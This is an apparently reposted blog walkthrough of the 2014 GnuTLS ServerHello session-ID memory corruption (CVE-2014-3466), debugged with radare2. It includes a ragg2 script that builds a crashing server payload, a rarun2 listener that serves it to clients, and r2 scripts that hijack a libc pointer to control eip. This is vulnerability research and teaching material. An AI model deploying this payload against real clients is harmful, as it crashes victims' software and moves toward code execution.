Technical Analysis Of The GnuTLS Hello Vulnerability
2014-06-01
Two weeks ago, an interesting commit appeared in the GnuTLS repository.
2014-05-23 19:50 Nikos Mavrogiannopoulos <nmav@gnutls.org>
Prevent memory corruption due to server hello parsing.
The patch adds a second check to verify the boundary of the session id size.
- if (len < session_id_len) {
+ if (len < session_id_len || session_id_len > TLS_MAX_SESSION_ID_SIZE) {
The memory corruption keywords triggered my attention, and just 6 days later another funny commit appeared:
2014-05-29 19:11 Nikos Mavrogiannopoulos <nmav@gnutls.org>
Added test for memory corruption issue in server hello.
This test case is in fact a PoC that implements a test program that makes the library crash exploiting this vulnerability. Right after that commit a new version of GnuTLS was bumped and released to the public. The GnuTLS website provides a link to theCVE 2014-3466. Which has been assigned, but not yet filled.
The test program is quite explicit in the way to exploit that bug, it only requires to build up a single buffer that is sent by the server and will make clients crash when connecting.
Quick overview
In order to test that vulnerability I choose to run a 32bit VoidLinux Virtualbox VM, fetched the r2 source from git, and executed the GnuTLS binaries against the system libs. This way, switching between the fixed and vulnerable executions can be done by changing the LD_LIBRARY_PATH
environment.
It's recommended to use r2 from git: read this post to install r2 in your system.
A quick check on all the packages that depend on GnuTLS shows some hints of which client software is vulnerable to this issue.
$ echo `xbps-query -RX gnutls | cut -d - -f1`
cups empathy glib filezilla gtk2 cups libvlc libvirt qemu rsyslog bitlbee telepathy xbmc weechat vino xen xombrero ...
First we need to reproduce this issue in a way that we can debug it, the simplest way to do this is by patching the test program. Negating the fork condition will make the crash appear in the parent process instead of the children.
- if (child) {
+ if (!child) {
Then we will have to comment the kill(child,SIGTERM)
line to avoid a parricide.
Now, we are ready to run the long-session-id
test under valgrind to get a quick view of the issue:
$ ./long-session-id
Segmentation fault (core dumped)
$ valgrind ./long-session-id
==476== Memcheck, a memory error detector
==476== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==476== Using Valgrind-3.9.0 and LibVEX; rerun with -h for copyright info
==476== Command: ./a.out
==476==
==476== Invalid free() / delete / delete[] / realloc()
==476== at 0x40292AC: free (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==476== by 0x407B2FE: _gnutls_buffer_clear (in /usr/lib/libgnutls.so.28.36.2)
==476== by 0x405E5A9: ??? (in /usr/lib/libgnutls.so.28.36.2)
==476== by 0x4062EE1: gnutls_handshake (in /usr/lib/libgnutls.so.28.36.2)
==476== by 0x8048E1A: client (in tests/a.out)
==476== by 0x80491A2: start (in tests/a.out)
==476== by 0x80492B7: main (in tests/a.out)
==476== Address 0xFFFFFFFF is not stack'd, malloc'd or (recently) free'd
==476==
client: Handshake failed (expected)
GnuTLS error: A TLS packet with unexpected length was received.
Looks like GNUTLS calls free
with an user controlled pointer. Sadly, this doesn't seems to be easily exploitable under latest glibc, but we will do a deeper analysis in order to understand the reasons and in the process learn some functionalities of r2. In this run, valgrind captures the invalid free and skips the crash, at first sight it looks like a heap overflow that triggers an invalid call to free.
Crash course
In the test case there is a memset of 255 bytes with the 0xff value. This is the buffer that overflows and we want to know at which offset of the payload the code is picking the pointer to free()
. We can do this using a sequence instead of just a plain padding.
- Sequence: 0102030405060708...
- Padding: 4141414141414141...
So, instead of writing 0xff
into the buffer we will write a sequence of bytes and we will read the value of ecx
to determine the offset we have to use.
The ragg2
tool fits perfectly with this task, it's a tool that allows to create shellcodes with payloads, nopsleds, sequences, paddings and more. We may recreate the buffer with this:
$ cat payload.sh
#!/bin/sh
TYPE=A # Fill with 'A'
TYPE=S # Create sequence
ragg2 \
-B 16 \
-B "03 00 01 25" \
-B "02 00 01 21" \
-B "03 00" \
-B 0000000001 -B 0000000001 -B 0000000001 \
-B 0000000001 -B 0000000001 -B 0000000001 \
-B 0000 \
-B fe \
-p ${TYPE}256 | rax2 -s -
The fe
is the longest valid length to trigger the crash (ff
is checked), Yes, sessionidlength is defined by an unsigned byte, So that's the maximum possible value for that case. At the end of the buffer we are appending a buffer of A
or a sequence (uncomment the line).
Note the last command after the pipe. This is rax2
converting an hexpair list into a binary buffer. This way we can use it directly into a socket to crash the clients that are connecting to us. We can achieve this with rarun2
:
$ rarun2 program=./payload.sh listen=8080
Then, in another terminal:
$ gnutls-cli -p 8080 localhost
Processed 168 CA certificate(s).
Resolving 'localhost'...
Connecting to 'localhost:8080'...
Segmentation fault (core dumped)
In order to get a quick overview of the crash I wrote a small r2 script that runs inside the debugger session and displays the registers, stack and some pointer arithmetics to determine the location of the affected pointer.
$ cat crashlog.r2
dc # continue execution
dr= # show registers
.dr* # import regstate
pd 10 @ eip # disasm on eip
x 64 @ esp # show stack state
$ r2 -i crashlog.r2 -d "gnutls-cli -p 8080 localhost"
Using that script we can easily see that ecx
value is 0xa3a2a1a0
when running with TYPE=S
, we must modify this dword to control where we want to go. The lower sequence byte in the value is 0xa0
, this is the offset we want.
When we need to set a specific dword inside the offset (for example, in 0xa0
), we may use the -d
flag. Adding 44
to the offset (header size) and specifying the value.
$ ragg2 ... -d 0xa0+44:0x8048008 | rax2 -s -
Analyzing the crash
As long as r2 is a low level debugger, we will not see much C source references, and symbolic information may sometimes be not available. But this is not really a problem for most situations, and bear in mind that you can import this information using the i
command or importing external scripts with .
.
Once the crash happens, r2 prompts appears and we would like to go back some instructions to see the assembly code context and register state to understand why it's crashing and which conditions do we need to exploit it.
Enter into the Visual mode by pressing V
and then switch between the print modes with p
and P
until you get something like this:
Then use 'j' and 'k' keys to scroll up and down. What we observe here is there's acall eax
at the end of the function and this eax
is constructed by following[ebx-0x98]
and taking the value from the referenced pointer in that address.
We can see that the constructed pointer is relative to the program counter, this means that it's probably located inside the same library (libc), but let's verify this within the r2 shell:
# The hook address is relative to the load address of libc
> f hook=ebx-0x98
> dm@hook~*
sys 0xb7637000 * 0xb7639000 s r-- /usr/lib/libc-2.19.so
# Rabbit is placed in the libc's memory. And it points to the burrow
> f rabbit=`xw 4 @ hook~[1]`
> dm@rabbit~*
sys 0xb763a000 * 0xb763d000 s rw- unk3
# Not mapped, final pointer goes to NULL
> f burrow=`xw 4 @ rabbit~[1]`
> dm@burrow~*
> ?v burrow
0
This is.. if we found a write-what-where somewhere we can just overwrite this rabbit pointer with another to hold the address we want to jump.
Trojanizing the handler
As long as that pointer comes from the libc, we can trick the memory of the running process to make it spawn a shell or run the code we like by patching the pointer hold inside the ebx-0x98
cave. For this demo we will modify the libc's heap. this is a read-write memory portion, so, if we find a write-what-where in the code this may be exploited by providing the proper payload.
$ cat memtrojan.r2
f carrot = `dm~rw- /usr/lib/libc[1]`
s carrot-0x98
f rabbit = `xw 1~[1]`
wx 41414141 @ rabbit
The script sets the carrot pointer at the first read write section of the libc and substracts 0x98. This offset is the static pointer that libc uses for retrieving the pointer to jump. In pseudocode:
carrot = findSection('libc','rw').offset
rabbit = 4[carrot-0x98]
4[rabbit] = 0x41414141
In one terminal run the following command to start the fake gnutls server:
$ rarun2 program=./payload.sh listen=8080 sleep=10
In the second terminal we do:
$ r2 -d "gnutls-cli -p 8080 localhost"
Inside the r2 prompt type dc
to continue the execution of the program. It will connect, but will not crash inmediately, we have a gap of 10 seconds to press ^C and inspect the process.
At this point we may like to run dm
to see the memory maps of the program, dr
to view the registers or run pd
to disassemble code.
> . memtrojan.r2
> dc
The program will crash at eip=0x41414141
.
Other paths
As long as we control some registers, we can let the program flow to different paths or just bypass the conditionals to reach the desired path. For example, our first crash happens here:
mov ecx, [ecx-4]
test cl, 2
jne 0xb755638
As long as we control ecx
modifying the 0xa0
byte of the payload. We can set a valid pointer to this address. This is for example 0x8048004
. Let's run again and see where it's crashing.
Sometimes setting some pointers to NULL allows to bypass some checks, and other values just fall into a tgkill() syscall that aborts the execution of the program.
Analyzing the crash when the dword at 0xa0
we observe a second crash in the following code:
mov eax, [eax+4]
test eax, eax
jne 0xb76d152a
As long as we also control eax
at this point. (the sequence trick tell us the offset is0x4c
) we just need to place a valid readable pointer to go further. We will set it to0x8048000
because the program is not compiled with PIE, and the rest of mapped binaries in memory are PIC libraries which are affected by the ASLR.
For quick testing, r2 provides a way to change the value of the registers:
> dr eax=0x8048000
Running dc
to continue the execution produces a different crash:
movzx edx, byte [eax+8]
eax
is also controled by our buffer, so we can just use another valid read pointer to pass the check and reach the a crash in:
Few instructions before the crash we can observe a call eax
. The conditions to reach the call eax
are multiple, and this may take too much to fit in this post.
We can use dr eip=...
to change the program counter or modify other registers and then type ds
to simulate the execution. This is very useful when you want to make a demo of the steps you have to do to pass all the checks.
In Visual mode, the ds
(debugger step) is done with the s
key. Step-over withS
. And type :
to enter commands to interact with r2.
Locating the buffer
Another useful operation we would like to perform when analyzing a crash is to locate the place where our buffer is found. We can search for the 'AAAAAAAA' padding by using the following commands:
We seek to the very first writable section and start the search. By default it will look in the whole memory space, but it is possible to restrict the search to some boundaries or conditions. In this case we will disable the contiguous hits. This is because a padding will spawn too many uninteresting results.
We can identify the corresponding debugger maps where those pointers come from:
Let's investigate why are some of those hits pretty close to each other... The pxa command will show an anotated hexdump highlighting flags and showing comments. We will display one of the hits (offsets differ, this is from a different run) and see that some dwords of our input have been overwritten.
To add a comment use the c
key in visual mode to switch to cursor mode and move with hjkl
then press ;
to enter the comment.
Final notes
This post exposes some of the capatibilities for exploiting with r2 in a real vulnerability. The central topic moved from GnuTLS to libc heap and in the process explaining some of the basics of exploiting. The whole topic can be covered in several posts and it was out of the scope to provide a working exploit, but give some hints to understand how and why it breaks, and which are the implications.
Now, stop reading and upgrade your GnuTLS!
--pancake
External links
'취약점 정보1' 카테고리의 다른 글
2014-06-04 취약점 정리 (0) | 2014.06.04 |
---|---|
2014-06-02 취약점정리 (0) | 2014.06.03 |
Dell ML6000 and Quantum Scalar i500 tape backup system command injection vulnerability (0) | 2014.05.31 |
Huawei E303 contains a cross-site request forgery vulnerability (0) | 2014.05.31 |
2014-05-31 취약점 정리 (0) | 2014.05.31 |